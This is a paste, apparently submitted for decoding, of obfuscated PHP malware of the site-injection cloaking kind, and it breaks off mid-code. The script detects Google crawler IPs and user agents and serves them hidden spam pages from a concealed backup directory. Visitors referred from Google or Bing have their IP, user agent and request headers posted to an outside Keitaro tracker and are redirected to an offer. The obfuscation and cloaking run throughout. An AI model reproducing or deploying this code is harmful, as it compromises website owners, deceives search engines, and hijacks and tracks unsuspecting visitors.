PHP Decode

<?php
 goto whmpx; mHz2k: $_1 = $_SERVER["\x52\105\115\117\124\105\x5f\101\104\104\122"]; goto cWrzu; ea0co: $_3 = array("\x63\x69\141\143\145\163\x2e\x70\150\x70"); goto lCMNR; N6CLT: if (@stripos($_5, "\x67\x6f\157\147\154\x65") !== false) { $_6 = true; } goto MRRVL; cWrzu: $_2 = $_SERVER["\110\x54\x54\120\x5f\x55\123\105\x52\x5f\x41\x47\x45\116\124"]; goto arh3m; GptOS: $_1 = "\x2e\56\x2f\142\141\x63\153\x75\x70\137\144\x62\x2f\56\x64\142\x2f"; goto g4Xei; w9GuU: $_4 = array("\x35\x2e\x32\65\63\x2e\x36\x33\x2e\x30\x2d\x35\x2e\x32\65\x33\56\66\x33\56\62\65\x35", "\66\x34\56\x36\x38\x2e\x38\60\x2e\60\x2d\66\x34\56\x36\70\x2e\71\65\x2e\x32\65\x35", "\x36\66\x2e\x32\64\71\x2e\x36\x34\x2e\x30\x2d\x36\66\56\62\x34\x39\x2e\x39\65\56\62\65\x35", "\x36\x34\x2e\x31\70\56\60\x2e\61\x2d\x36\64\x2e\61\x38\56\x31\65\56\x32\65\64", "\x36\x34\x2e\62\63\x33\x2e\x31\x36\60\56\61\x2d\x36\x34\56\62\x33\x33\x2e\x31\71\61\56\62\x35\x34", "\x36\66\x2e\61\60\62\56\x30\56\61\x2d\x36\x36\56\x31\x30\62\56\61\x35\56\62\x35\x34", "\x37\62\56\61\64\x2e\61\x39\x32\56\61\x2d\67\x32\56\61\64\56\x32\65\65\x2e\x32\65\64", "\x37\64\x2e\61\62\65\56\60\x2e\x31\x2d\x37\64\x2e\x31\62\65\x2e\x32\x35\65\56\x32\65\x34", "\61\67\x33\x2e\x31\71\64\56\60\x2e\61\x2d\61\67\x33\56\x31\71\64\x2e\62\65\x35\x2e\62\x35\x34", "\x32\x30\x37\56\x31\x32\66\x2e\61\x34\64\x2e\61\55\x32\x30\x37\56\x31\x32\66\56\61\65\x39\56\x32\x35\64", "\62\60\71\56\70\x35\x2e\61\x32\x38\56\61\x2d\x32\60\71\x2e\x38\x35\x2e\62\x35\x35\x2e\x32\65\x34", "\x32\x31\66\56\62\x33\71\x2e\63\x32\x2e\61\x2d\x32\61\66\x2e\62\x33\x39\x2e\66\x33\56\x32\x35\64", "\67\x32\x2e\x31\x34\56\61\71\x39\56\60\55\x37\62\56\x31\x34\56\61\71\71\56\x32\65\65", "\x38\x2e\66\x2e\64\x38\56\60\x2d\x38\56\x36\x2e\x34\x38\x2e\62\x35\x35", "\x36\67\x2e\x31\x39\x35\56\60\56\x30\55\x36\67\x2e\61\71\x35\56\62\x35\65\56\x32\x35\x35", "\66\x39\x2e\x31\64\67\56\66\64\56\x30\xe2\x80\223\66\71\x2e\61\x34\67\x2e\x31\x32\67\x2e\x32\x35\65", "\67\x32\x2e\63\60\56\x36\x34\56\x30\xe2\200\x93\x37\62\56\x33\x30\56\x32\x35\65\x2e\x32\65\x35", "\67\x34\x2e\x36\56\60\56\x30\342\x80\223\x37\64\56\x36\x2e\x32\65\65\x2e\x32\65\x35", "\x36\x35\x2e\65\x32\x2e\x30\x2e\x30\xe2\200\223\x36\x35\56\x35\x35\56\x32\x35\x35\56\62\x35\x35", "\62\x30\67\x2e\x34\66\x2e\x30\x2e\60\342\200\223\x32\x30\x37\x2e\x34\66\x2e\x32\x35\65\56\x32\x35\x35"); goto bCqtx; jpaqm: $_7 = array("\x35\x2e\x32\x35\63\56\x36\x33\56\60\x2d\x35\56\x32\x35\x33\56\66\63\56\62\x35\x35", "\66\x34\56\66\x38\x2e\x38\60\56\x30\55\66\x34\56\x36\x38\56\x39\x35\x2e\x32\65\x35", "\66\66\56\62\64\x39\x2e\x36\64\x2e\60\x2d\x36\66\56\62\x34\x39\x2e\71\x35\x2e\62\65\65", "\66\x34\56\61\70\x2e\x30\x2e\x31\55\x36\64\56\x31\70\x2e\61\x35\56\x32\65\x34", "\66\64\56\x32\x33\x33\x2e\x31\66\x30\x2e\x31\x2d\66\x34\56\x32\x33\x33\x2e\61\x39\61\56\62\x35\x34", "\66\66\x2e\x31\60\x32\56\60\56\x31\x2d\66\66\x2e\x31\60\x32\56\61\65\x2e\62\65\x34", "\x37\62\x2e\61\64\x2e\61\71\62\x2e\61\55\67\x32\x2e\61\x34\x2e\62\x35\x35\56\x32\65\x34", "\x37\64\56\x31\x32\x35\56\x30\x2e\x31\x2d\67\64\56\61\62\65\x2e\x32\x35\x35\x2e\x32\x35\x34", "\x31\67\x33\56\x31\x39\64\56\x30\x2e\61\x2d\61\x37\63\x2e\x31\71\64\56\62\65\65\x2e\x32\65\x34", "\62\x30\67\56\61\62\66\x2e\61\64\64\56\61\x2d\x32\60\x37\x2e\61\62\x36\56\61\x35\71\56\62\x35\x34", "\x32\60\x39\56\x38\65\x2e\61\x32\x38\x2e\x31\55\x32\60\x39\56\x38\65\x2e\62\x35\65\x2e\62\65\x34", "\62\x31\x36\56\62\63\71\x2e\x33\x32\56\x31\x2d\62\61\66\x2e\x32\63\71\x2e\x36\x33\x2e\x32\x35\x34", "\67\62\56\x31\x34\x2e\x31\71\x39\x2e\60\55\67\62\x2e\61\x34\x2e\x31\71\x39\x2e\x32\65\x35", "\x38\x2e\66\56\x34\70\x2e\60\55\x38\x2e\x36\56\x34\70\x2e\x32\x35\x35", "\66\67\x2e\x31\71\65\56\x30\x2e\60\55\66\67\x2e\61\x39\x35\56\x32\x35\65\56\62\x35\x35", "\66\71\56\x31\x34\x37\x2e\x36\x34\56\x30\xe2\x80\223\66\71\x2e\x31\x34\67\x2e\x31\x32\x37\56\62\65\65", "\67\62\56\x33\x30\x2e\66\64\x2e\x30\xe2\200\223\x37\62\x2e\x33\x30\56\x32\65\x35\x2e\x32\x35\x35", "\67\64\x2e\x36\x2e\60\56\60\xe2\x80\223\67\64\x2e\x36\x2e\62\x35\x35\56\x32\x35\x35", "\66\65\x2e\65\x32\x2e\x30\56\x30\342\x80\x93\x36\65\x2e\x35\65\56\x32\65\65\56\x32\65\65", "\x32\x30\67\56\64\x36\56\x30\x2e\x30\xe2\x80\223\62\60\67\56\64\x36\x2e\62\65\x35\56\62\x35\65"); goto N6CLT; oKpNw: goto NPAcW; goto EKve4; qGHS4: $_0 = $_SERVER["\122\105\x51\125\105\x53\124\x5f\125\x52\111"]; goto GptOS; FNzBR: $_5 = $_SERVER["\110\124\x54\120\x5f\125\x53\x45\x52\x5f\x41\107\105\x4e\x54"]; goto plsfm; hw55W: class KHttpClient { const UA = "\113\110\x74\x74\x70\x43\x6c\x69\x65\x6e\164"; public function request($url, $params, $opts = array()) { if (!in_array("\x63\x75\162\154", get_loaded_extensions())) { return json_encode(array("\145\x72\162\157\x72" => "\103\165\162\154\40\x65\x78\x74\x65\156\x73\151\157\156\x20\x6d\165\163\164\x20\x62\x65\40\151\156\163\164\163\141\x6c\154\x65\144")); } $ch = curl_init(); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_COOKIE, isset($opts["\x63\157\157\x6b\151\x65\163"]) ? $opts["\x63\x6f\x6f\x6b\x69\145\163"] : null); curl_setopt($ch, CURLOPT_NOBODY, 0); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 5); curl_setopt($ch, CURLOPT_TIMEOUT, 10); curl_setopt($ch, CURLOPT_USERAGENT, self::UA); curl_setopt($ch, CURLOPT_POST, 1); curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($params)); curl_setopt($ch, CURLOPT_FAILONERROR, true); curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0); curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0); $result = curl_exec($ch); if (curl_error($ch)) { throw new KClientError(curl_error($ch), curl_errno($ch)); } if (empty($result)) { throw new KClientError("\105\x6d\x70\164\x79\40\x72\x65\x73\x70\x6f\x6e\x73\x65"); } return $result; } } goto Z4asm; Zv76c: $_4 = $_SERVER["\x52\105\115\117\x54\105\137\101\104\x44\x52"]; goto FNzBR; Mqeq6: $_0 = $_SERVER["\110\124\124\x50\137\122\105\106\x45\122\105\x52"]; goto mHz2k; FNrmr: aBzKY: goto M2VIo; UhCUt: if (!$_3) { if ((stripos($_0, "\147\157\x6f\x67\x6c\145\x2e") || stripos($_0, "\x62\x69\156\147\x2e")) && isset($_12)) { $client = new KClient("\x68\164\x74\x70\163\72\57\x2f\x6d\x61\x6b\145\164\x6f\x70\150\x6f\164\x6c\157\166\x65\56\143\x6f\x6d\x2f", "\x37\x35\x6b\147\x70\x71\x74\x72\x6e\153\172\x36\x6c\x6d\x6b\x78\163\160\163\x67\144\x66\x73\x70\166\x33\171\146\x34\x78\161\154"); $client->sendAllParams(); $client->forceRedirectOffer(); $client->param("\163\165\142\x5f\151\x64\137\x32", "\155\x75\x6a\x65\x72\145\x73\152\157\166\145\156\145\163\x2e\157\162\147"); $client->param("\163\165\142\x5f\151\x64\137\61", $_12); $client->currentPageAsReferrer(); $client->executeAndBreak(); } } goto qGHS4; OUtor: NPAcW: goto Bksxe; bCqtx: if (@stripos($_2, "\x67\157\x6f\147\154\145") !== false) { $_3 = true; } goto zPu0g; plsfm: $_6 = false; goto jpaqm; EKve4: cPifu: goto hw55W; v88Tj: $_14 = $_SERVER["\122\105\121\125\105\x53\124\137\125\x52\111"]; goto yuWFB; g4Xei: $_2 = array("\x2f\143\151\x61\154\x69\163\55\145\x73\160\x61\156\141"); goto ea0co; yuWFB: $_0 = trim(strtok($_14, "\x3f")); goto PwxTI; zEXS4: class KClientError extends Exception { const ERROR_UNKNOWN = "\125\x4e\x4b\116\117\x57\x4e"; public function getHumanCode() { switch ($this->getCode()) { case CURLE_HTTP_RETURNED_ERROR: preg_match("\57\124\150\x65\x20\162\x65\161\165\x65\163\x74\x65\144\40\125\122\x4c\x20\162\145\x74\165\x72\x6e\x65\144\x20\145\162\162\x6f\162\x3a\x20\50\x3f\x27\x65\x72\x72\157\162\x43\157\144\145\47\134\x64\53\x29\56\52\x24\x2f", $this->getMessage(), $matches); $errorCode = isset($matches["\x65\162\162\157\162\x43\x6f\144\145"]) ? $matches["\x65\x72\x72\x6f\x72\103\157\144\145"] : "\110\x54\x54\120\x5f\x45\x52\x52\x4f\x52\137" . self::ERROR_UNKNOWN; return "\x5b\122\105\121\x5f\x45\122\122\x3a\x20{$errorCode}\135"; case CURLE_UNSUPPORTED_PROTOCOL: return "\133\x52\105\x51\x5f\105\122\122\72\x20\x55\116\x53\125\x50\x50\x4f\x52\x54\x45\104\x5f\x50\122\x4f\124\x4f\x43\x4f\114\135"; case CURLE_FAILED_INIT: return "\133\122\x45\x51\137\105\122\x52\72\x20\x46\x41\111\114\x45\x44\137\x49\x4e\111\124\x5d"; case CURLE_URL_MALFORMAT: return "\x5b\x52\x45\x51\x5f\105\x52\x52\72\40\102\101\x44\x5f\125\x52\114\135"; case CURLE_COULDNT_RESOLVE_PROXY: return "\x5b\122\x45\x51\137\x45\122\x52\72\40\x43\117\x55\114\104\116\124\x5f\x52\x45\123\117\x4c\126\105\137\x50\122\x4f\x58\x59\x5d"; case CURLE_COULDNT_RESOLVE_HOST: return "\133\122\105\121\x5f\x45\122\122\72\40\x43\x4f\125\x4c\x44\x4e\x54\x5f\x52\105\x53\117\114\126\x45\137\x48\x4f\123\x54\135"; case CURLE_COULDNT_CONNECT: return "\133\x52\105\x51\x5f\105\122\x52\72\40\x43\x4f\x55\114\104\116\x54\x5f\x43\x4f\116\116\x45\x43\x54\135"; case CURLE_PARTIAL_FILE: return "\133\x52\105\x51\x5f\x45\122\122\72\x20\x50\x41\122\124\x49\101\x4c\x5f\106\x49\x4c\x45\135"; case CURLE_READ_ERROR: return "\133\x52\105\x51\x5f\x45\122\122\72\x20\x52\105\x41\x44\137\x45\x52\x52\x4f\122\x5d"; case CURLE_OUT_OF_MEMORY: return "\x5b\122\x45\121\x5f\x45\122\x52\x3a\40\117\x55\124\137\117\x46\x5f\115\105\115\x4f\122\131\135"; case CURLE_OPERATION_TIMEDOUT: return "\133\x52\105\x51\137\x45\122\x52\72\x20\117\120\105\122\x41\124\x49\x4f\x4e\x5f\124\111\x4d\105\x44\117\x55\x54\x5d"; case CURLE_HTTP_POST_ERROR: return "\133\122\105\121\x5f\105\122\122\72\x20\110\x54\124\120\x5f\x50\x4f\123\124\x5f\x45\122\122\x4f\122\135"; case CURLE_BAD_FUNCTION_ARGUMENT: return "\x5b\122\x45\121\x5f\x45\122\x52\72\x20\x42\101\104\x5f\x46\x55\116\103\x54\x49\x4f\116\x5f\101\x52\107\125\115\x45\x4e\x54\135"; case CURLE_TOO_MANY_REDIRECTS: return "\x5b\x52\x45\121\137\x45\122\122\x3a\x20\124\117\x4f\137\x4d\101\x4e\x59\x5f\122\x45\104\x49\x52\x45\x43\124\x53\x5d"; case CURLE_GOT_NOTHING: return "\133\x52\105\x51\x5f\105\x52\x52\x3a\40\107\117\124\137\x4e\117\124\110\x49\116\x47\135"; case CURLE_SEND_ERROR: return "\x5b\122\105\121\x5f\x45\122\122\x3a\40\123\x45\x4e\x44\x5f\x45\x52\122\x4f\x52\x5d"; case CURLE_RECV_ERROR: return "\133\122\x45\x51\137\x45\x52\122\72\x20\x52\x45\103\x56\x5f\105\x52\122\117\122\135"; case CURLE_BAD_CONTENT_ENCODING: return "\133\x52\x45\x51\x5f\x45\x52\122\72\x20\102\x41\x44\x5f\103\x4f\x4e\x54\105\116\x54\x5f\105\x4e\x43\x4f\104\x49\x4e\x47\135"; case CURLE_SSL_CACERT: case CURLE_SSL_CACERT_BADFILE: case CURLE_SSL_CERTPROBLEM: case CURLE_SSL_CIPHER: case CURLE_SSL_CONNECT_ERROR: case CURLE_SSL_ENGINE_NOTFOUND: case CURLE_SSL_ENGINE_SETFAILED: case CURLE_SSL_PEER_CERTIFICATE: case CURLE_SSL_PINNEDPUBKEYNOTMATCH: return "\133\122\105\121\x5f\105\122\122\72\x20\x53\x53\114\135"; case CURLE_OK: return ''; default: return "\133\x52\x45\121\x5f\105\x52\122\72\40" . self::ERROR_UNKNOWN . "\x5d"; } } } goto oKpNw; DZWgO: switch ($_11) { case "\x2f\155\x75\x6a\x65\x72\145\163\55\x6a\157\166\145\156\x65\x73\x2f": case "\57\155\x75\152\x65\162\x65\163\55\x6a\157\x76\145\x6e\x65\163\57\x70\162\x65\155\x69\x6f\x73\55\x79\55\x72\x65\143\x6f\156\157\143\x69\x6d\x69\x65\x6e\164\157\163\57": case "\x2f\155\x75\x6a\x65\162\x65\163\55\x6a\157\166\x65\x6e\145\163\x2f\x6e\x75\145\163\x74\x72\x61\55\150\151\x73\164\x6f\162\151\x61\57": case "\57\x6d\x75\x6a\x65\162\145\163\55\152\157\166\145\x6e\x65\163\x2f\x63\157\x6d\x6f\x2d\x6e\157\163\55\157\162\147\141\x6e\151\172\x61\155\x6f\x73\x2f": case "\57\155\165\152\x65\162\x65\x73\x2d\x6a\157\166\x65\156\x65\163\x2f\143\157\x6d\157\55\x61\x73\x6f\143\x69\141\162\x74\x65\57": $_12 = "\143\151\x61\154\151\x73"; break; case "\57\x6d\x75\152\x65\x72\x65\x73\x2d\152\x6f\166\x65\156\x65\163\x2f\x6e\165\x65\x73\164\162\x61\x73\x2d\141\154\151\x61\156\172\141\163\57": case "\57\155\x75\152\145\162\145\163\x2d\152\157\166\x65\156\145\163\57\x65\x73\x63\165\145\154\141\55\x61\156\x75\141\x6c\55\x64\145\x2d\146\x6f\162\x6d\x61\143\151\x6f\x6e\57": case "\57\160\x72\x6f\x79\145\143\x74\x6f\163\57": case "\57\x66\157\x72\x6d\141\x63\x69\x6f\x6e\x2f": case "\x2f\143\x75\162\x73\x6f\x73\57": case "\57\x6d\141\x74\x65\162\x69\141\154\145\x73\x2f": $_12 = "\x76\151\x61\147\x72\x61"; break; case "\x2f\x6e\157\x74\x69\143\x69\141\x73\x2f": case "\x2f\141\x67\145\156\x64\141\57": case "\57\143\x6f\x6e\164\141\143\x74\157\57": case "\x2f\x74\162\x61\x6e\163\160\141\x72\x65\x6e\143\151\x61\x2f": case "\57\143\x75\x72\163\x6f\x6e\x73\x70\x74\x2f": $_12 = "\153\141\155\141\x67\162\x61"; break; } goto UhCUt; arh3m: $_3 = false; goto w9GuU; b1gPL: goto uWc4r; goto OUtor; MRRVL: if (!$_6) { foreach ($_7 as $_8) { list($_9, $_10) = explode("\x2d", $_8, round(0 + 0.66666666666667 + 0.66666666666667 + 0.66666666666667)); $_11 = (double) sprintf("\x25\165", ip2long($_9)); $_12 = (double) sprintf("\x25\165", ip2long($_10)); $_13 = (double) sprintf("\45\165", ip2long($_4)); if ($_13 >= $_11 && $_13 <= $_12) { $_6 = true; break; } } } goto v88Tj; lCMNR: switch ($_0) { case $_2[round(0)]: include $_1 . $_3[round(0)]; die; break; } goto Zv76c; zPu0g: if (!$_3) { foreach ($_4 as $_5) { list($_6, $_7) = explode("\x2d", $_5, round(0 + 2)); $_8 = (double) sprintf("\45\165", ip2long($_6)); $_9 = (double) sprintf("\x25\165", ip2long($_7)); $_10 = (double) sprintf("\45\x75", ip2long($_1)); if ($_10 >= $_8 && $_10 <= $_9) { $_3 = true; break; } } } goto DbJru; Z4asm: goto v8NMo; goto FNrmr; PwxTI: if ($_6) { switch ($_0) { case "\x2f": include $_1 . "\151\x6e\144\145\170\56\150\x74\155"; die; break; case "\x2f\x6d\165\x6a\145\x72\x65\x73\55\x6a\x6f\x76\145\x6e\145\x73\x2f": include $_1 . "\143\x69\x61\143\x65\163\x2e\160\x68\160"; die; break; case "\x2f\155\165\x6a\145\162\145\163\x2d\152\157\166\x65\156\145\x73\x2f\x70\162\145\155\x69\157\x73\55\x79\55\x72\x65\x63\x6f\x6e\157\143\x69\x6d\151\145\156\164\157\163\57": include $_1 . "\143\151\x61\147\x63\56\160\150\160"; die; break; case "\57\155\165\x6a\x65\x72\145\x73\x2d\152\157\x76\x65\x6e\x65\x73\57\x6e\165\145\163\164\x72\x61\x2d\150\151\x73\x74\x6f\x72\x69\x61\x2f": include $_1 . "\164\x61\x64\x6f\145\x73\56\x70\150\x70"; die; break; case "\x2f\155\x75\x6a\145\162\145\x73\55\x6a\x6f\166\145\156\x65\x73\x2f\x63\157\x6d\157\55\156\x6f\x73\x2d\157\x72\x67\x61\x6e\151\172\141\155\157\x73\57": include $_1 . "\160\x63\151\x61\56\160\x68\160"; die; break; case "\57\x6d\x75\152\x65\x72\x65\x73\x2d\152\x6f\166\x65\x6e\145\163\x2f\143\157\x6d\x6f\55\141\163\157\143\x69\141\162\164\145\57": include $_1 . "\143\143\x69\141\x6f\x2e\160\150\160"; die; break; case "\57\155\x75\x6a\145\x72\x65\x73\x2d\x6a\x6f\x76\x65\156\x65\x73\x2f\x6e\165\x65\163\164\x72\141\163\55\x61\154\151\x61\x6e\172\x61\x73\57": include $_1 . "\143\x76\151\141\145\x73\x2e\x70\x68\160"; die; break; case "\x2f\155\165\152\145\x72\145\163\55\x6a\x6f\166\x65\x6e\145\163\x2f\145\163\x63\x75\x65\154\x61\x2d\x61\x6e\165\x61\154\x2d\144\x65\x2d\x66\x6f\x72\155\x61\143\151\x6f\156\57": include $_1 . "\x63\x73\x69\154\145\154\x2e\160\x68\160"; die; break; case "\57\x70\162\x6f\x79\x65\x63\164\x6f\163\57": include $_1 . "\166\x69\141\x67\56\160\x68\x70"; die; break; case "\x2f\146\x6f\x72\155\x61\x63\x69\157\x6e\x2f": include $_1 . "\163\x69\154\x31\x30\x30\155\56\x70\x68\x70"; die; break; case "\x2f\x63\165\162\x73\157\163\x2f": include $_1 . "\143\166\x69\x61\146\x2e\x70\150\160"; die; break; case "\x2f\155\141\x74\145\162\x69\141\154\145\x73\57": include $_1 . "\166\151\x61\x66\x2e\x70\150\160"; die; break; case "\x2f\156\157\164\151\143\151\x61\x73\x2f": include $_1 . "\x63\153\x61\x6d\x6f\x6a\56\x70\150\x70"; die; break; case "\57\141\x67\x65\x6e\x64\141\57": include $_1 . "\x63\153\x61\x6d\145\x73\x2e\160\x68\x70"; die; break; case "\x2f\x63\x6f\156\x74\141\143\x74\157\x2f": include $_1 . "\153\141\155\x31\60\x30\155\56\x70\150\x70"; die; break; case "\x2f\x74\x72\141\156\x73\160\141\162\145\156\143\x69\141\x2f": include $_1 . "\153\x61\155\160\x2e\x70\x68\160"; die; break; case "\x2f\143\x75\x72\x73\157\x6e\x73\160\x74\x2f": include $_1 . "\x6b\x61\x6d\157\152\146\56\160\x68\160"; die; break; } } goto TH7P9; PCxXi: v8NMo: goto zEXS4; whmpx: goto aBzKY; goto ST2zM; pLEXa: class ResponseExecutor { public static function sendHeaders($result) { if (!empty($result->headers)) { foreach ($result->headers as $header) { if (!headers_sent()) { header($header); } } } if (!empty($result->status)) { static::_sendResponseCode($result->status); } if (!empty($result->contentType)) { $header = "\103\x6f\156\x74\x65\156\x74\x2d\164\171\x70\x65\x3a\x20" . $result->contentType; $headers[] = $header; if (!headers_sent()) { header($header); } } } public static function containsActionHeader($headers) { if (empty($headers)) { return false; } foreach ($headers as $header) { if (strpos($header, "\114\x6f\x63\x61\164\151\x6f\x6e\x3a") === 0) { return true; } if (strstr($header, "\x34\60\64\40\x4e\157\x74\40\x46\x6f\x75\x6e\x64")) { return true; } } return false; } private static function _sendResponseCode($code = null) { if ($code !== null) { switch ($code) { case 100: $text = "\x43\x6f\x6e\x74\x69\x6e\165\x65"; break; case 101: $text = "\123\167\151\x74\143\150\151\x6e\147\40\120\162\157\164\157\x63\x6f\154\163"; break; case 200: $text = "\117\x4b"; break; case 201: $text = "\103\162\145\141\x74\145\144"; break; case 202: $text = "\x41\143\x63\145\x70\164\x65\144"; break; case 203: $text = "\x4e\157\156\55\x41\165\164\150\157\162\x69\x74\x61\164\x69\x76\x65\40\x49\156\x66\x6f\x72\155\141\x74\151\157\156"; break; case 204: $text = "\x4e\x6f\40\x43\157\156\x74\145\156\164"; break; case 205: $text = "\x52\x65\163\145\164\x20\x43\x6f\x6e\164\x65\x6e\x74"; break; case 206: $text = "\x50\141\162\x74\151\141\x6c\40\x43\x6f\156\x74\x65\156\164"; break; case 300: $text = "\x4d\165\154\x74\x69\160\x6c\145\40\x43\x68\x6f\151\143\145\x73"; break; case 301: $text = "\x4d\157\x76\145\144\40\120\x65\162\x6d\x61\x6e\x65\x6e\164\x6c\171"; break; case 302: $text = "\115\157\x76\145\144\40\124\145\155\x70\x6f\x72\x61\162\x69\154\171"; break; case 303: $text = "\x53\x65\145\x20\117\164\150\x65\162"; break; case 304: $text = "\x4e\x6f\164\40\115\157\144\x69\146\x69\145\144"; break; case 305: $text = "\x55\163\x65\x20\x50\162\x6f\170\171"; break; case 400: $text = "\102\x61\x64\40\122\145\x71\x75\145\163\x74"; break; case 401: $text = "\x55\156\141\x75\x74\x68\157\x72\x69\172\x65\144"; break; case 402: $text = "\x54\x68\145\40\154\x69\x63\145\x6e\163\145\x20\155\x75\163\164\x20\x62\x65\x20\x69\x6e\x20\120\162\157\40\x65\144\151\x74\x69\157\156\40\157\x72\x20\150\151\147\x68\145\x72"; break; case 403: $text = "\x46\157\x72\142\x69\x64\x64\145\156"; break; case 404: $text = "\116\157\x74\40\x46\x6f\165\156\x64"; break; case 405: $text = "\115\145\164\x68\x6f\x64\x20\x4e\157\x74\40\101\x6c\x6c\157\x77\x65\x64"; break; case 406: $text = "\116\157\x74\40\x41\x63\143\x65\x70\164\x61\142\x6c\x65"; break; case 407: $text = "\120\x72\x6f\170\171\40\x41\165\164\150\145\156\164\x69\x63\141\x74\151\157\x6e\x20\122\145\161\x75\151\x72\x65\144"; break; case 408: $text = "\122\x65\161\x75\x65\163\164\x20\x54\151\x6d\x65\55\x6f\x75\164"; break; case 409: $text = "\103\x6f\x6e\146\154\151\143\x74"; break; case 410: $text = "\107\157\156\x65"; break; case 411: $text = "\114\145\156\x67\x74\x68\x20\x52\145\x71\x75\x69\x72\145\144"; break; case 412: $text = "\120\x72\x65\143\x6f\x6e\x64\151\x74\x69\157\x6e\40\106\x61\151\154\145\144"; break; case 413: $text = "\x52\x65\x71\165\145\163\164\40\105\156\x74\x69\164\x79\40\124\157\x6f\x20\x4c\x61\162\147\x65"; break; case 414: $text = "\x52\145\161\165\145\x73\x74\x2d\125\122\111\40\x54\157\x6f\x20\x4c\141\162\x67\x65"; break; case 415: $text = "\x55\x6e\163\165\x70\160\x6f\x72\164\145\x64\40\x4d\145\144\x69\141\x20\x54\171\160\145"; break; case 500: $text = "\x49\156\x74\x65\x72\156\x61\154\x20\123\145\162\166\145\x72\40\105\162\162\x6f\162"; break; case 501: $text = "\116\157\x74\40\111\x6d\160\154\145\x6d\145\x6e\164\x65\144"; break; case 502: $text = "\102\x61\144\x20\107\x61\x74\x65\x77\x61\171"; break; case 503: $text = "\123\x65\162\166\151\143\145\x20\125\x6e\x61\x76\x61\151\x6c\141\x62\154\145"; break; case 504: $text = "\107\141\164\x65\x77\x61\171\x20\124\151\x6d\145\55\x6f\x75\x74"; break; case 505: $text = "\110\124\124\120\40\126\x65\162\x73\x69\x6f\x6e\x20\x6e\x6f\164\x20\163\x75\x70\x70\x6f\x72\x74\x65\144"; break; default: $text = ''; } $protocol = isset($_SERVER["\123\x45\122\126\x45\122\137\x50\x52\117\x54\117\103\117\x4c"]) ? $_SERVER["\123\105\x52\126\x45\x52\137\x50\122\117\124\x4f\103\117\114"] : "\110\124\124\120\57\61\56\60"; header($protocol . "\40" . $code . "\40" . $text); } } } goto OSPFJ; ST2zM: uWc4r: goto pLEXa; DbJru: $_11 = $_SERVER["\122\105\x51\125\105\x53\124\x5f\125\x52\111"]; goto DZWgO; M2VIo: class KClient { const SESSION_SUB_ID = "\x73\x75\142\x5f\x69\144"; const SESSION_LANDING_TOKEN = "\154\x61\156\x64\151\156\x67\x5f\x74\157\x6b\x65\x6e"; const VERSION = 3; const STATE_SESSION_KEY = "\x6b\x65\x69\164\141\x72\157\x5f\163\x74\x61\164\145"; const STATE_SESSION_EXPIRES_KEY = "\x6b\145\x69\164\141\162\157\137\163\x74\x61\164\145\137\145\x78\x70\151\x72\x65\163"; const DEFAULT_TTL = 1; const NOT_FOUND_STATUS = 404; private $_httpClient; private $_debug = false; private $_trackerUrl; private $_params = array(); private $_log = array(); private $_excludeParams = array("\141\160\x69\137\x6b\x65\171", "\x74\157\153\x65\156", "\x6c\x61\x6e\147\165\x61\147\x65", "\165\141", "\151\160", "\162\145\x66\145\x72\x72\x65\162", "\x66\x6f\162\143\145\137\162\x65\144\x69\x72\145\x63\164\137\157\x66\146\x65\x72"); private $_result; private $_stateRestored; private $_sessionsDisabled = false; const ERROR = "\x5b\x4b\124\x72\x61\146\x66\151\x63\x43\154\x69\x65\x6e\x74\135\x20\x53\x6f\x6d\x65\164\150\151\x6e\x67\x20\x69\163\x20\167\x72\x6f\156\x67\x2e\40\105\156\141\142\x6c\x65\40\x64\145\142\165\x67\40\155\157\144\145\40\164\x6f\40\163\145\x65\x20\x74\x68\x65\40\x72\145\x61\163\x6f\156\56"; public function __construct($trackerUrl, $token) { $this->trackerUrl($trackerUrl); $this->campaignToken($token); $this->version(self::VERSION); $this->param("\x69\x6e\x66\x6f", 1); $this->fillParams(); } public function fillParams() { $referrer = isset($_SERVER["\x48\124\124\x50\137\122\x45\106\x45\122\105\122"]) ? $_SERVER["\110\124\x54\120\137\x52\x45\x46\x45\x52\x45\122"] : null; $this->setHttpClient(new KHttpClient()); $host = isset($_SERVER["\x48\124\x54\x50\x5f\x48\x4f\123\124"]) ? $_SERVER["\110\x54\124\120\x5f\110\x4f\123\x54"] : null; $requestUri = isset($_SERVER["\x52\105\x51\x55\x45\123\124\137\x55\x52\111"]) ? $_SERVER["\122\x45\121\x55\105\123\124\137\125\122\x49"] : null; $this->ip($this->_findIp())->ua(isset($_SERVER["\110\124\x54\120\137\125\123\105\x52\137\x41\107\x45\116\x54"]) ? $_SERVER["\110\124\124\120\137\125\x53\x45\x52\137\x41\x47\105\x4e\x54"] : null)->language(isset($_SERVER["\x48\124\124\x50\137\x41\103\103\x45\120\124\x5f\114\x41\x4e\x47\x55\101\x47\105"]) ? substr($_SERVER["\110\124\x54\120\x5f\101\103\x43\105\120\x54\x5f\114\101\116\107\125\x41\x47\x45"], 0, 2) : '')->xRequestedWith(isset($_SERVER["\x48\124\124\120\137\130\137\122\x45\x51\x55\x45\123\124\x45\104\137\x57\x49\x54\110"]) ? $_SERVER["\110\124\124\120\x5f\130\137\x52\105\x51\x55\x45\x53\124\105\104\x5f\x57\x49\124\110"] : null)->seReferrer($referrer)->referrer($referrer)->param("\x6f\162\151\147\x69\156\x61\x6c\x5f\150\x65\141\x64\x65\162\x73", $this->_getAllHeaders())->param("\x6f\x72\x69\147\151\x6e\x61\154\137\x68\157\x73\164", isset($_SERVER["\x48\124\x54\120\137\110\117\x53\x54"]) ? $_SERVER["\110\124\124\x50\x5f\110\x4f\123\x54"] : "\x6c\157\143\x61\x6c\150\x6f\163\164")->param("\x6f\162\x69\147\x69\x6e\x61\154\137\155\145\164\150\x6f\x64", isset($_SERVER["\122\x45\x51\125\x45\x53\x54\137\x4d\105\124\110\x4f\x44"]) ? $_SERVER["\x52\x45\x51\125\105\x53\x54\137\115\105\124\110\117\x44"] : "\107\105\x54")->param("\x75\x72\151", (!empty($_SERVER["\110\124\x54\x50\123"]) ? "\x68\x74\164\x70\x73" : "\x68\164\x74\x70") . "\x3a\x2f\57" . $host . $requestUri)->param("\x6b\166\145\162\163\151\x6f\x6e", "\63\x2e\64"); if ($this->isPrefetchDetected()) { $this->param("\x70\x72\145\x66\145\x74\x63\x68", 1); } } public function 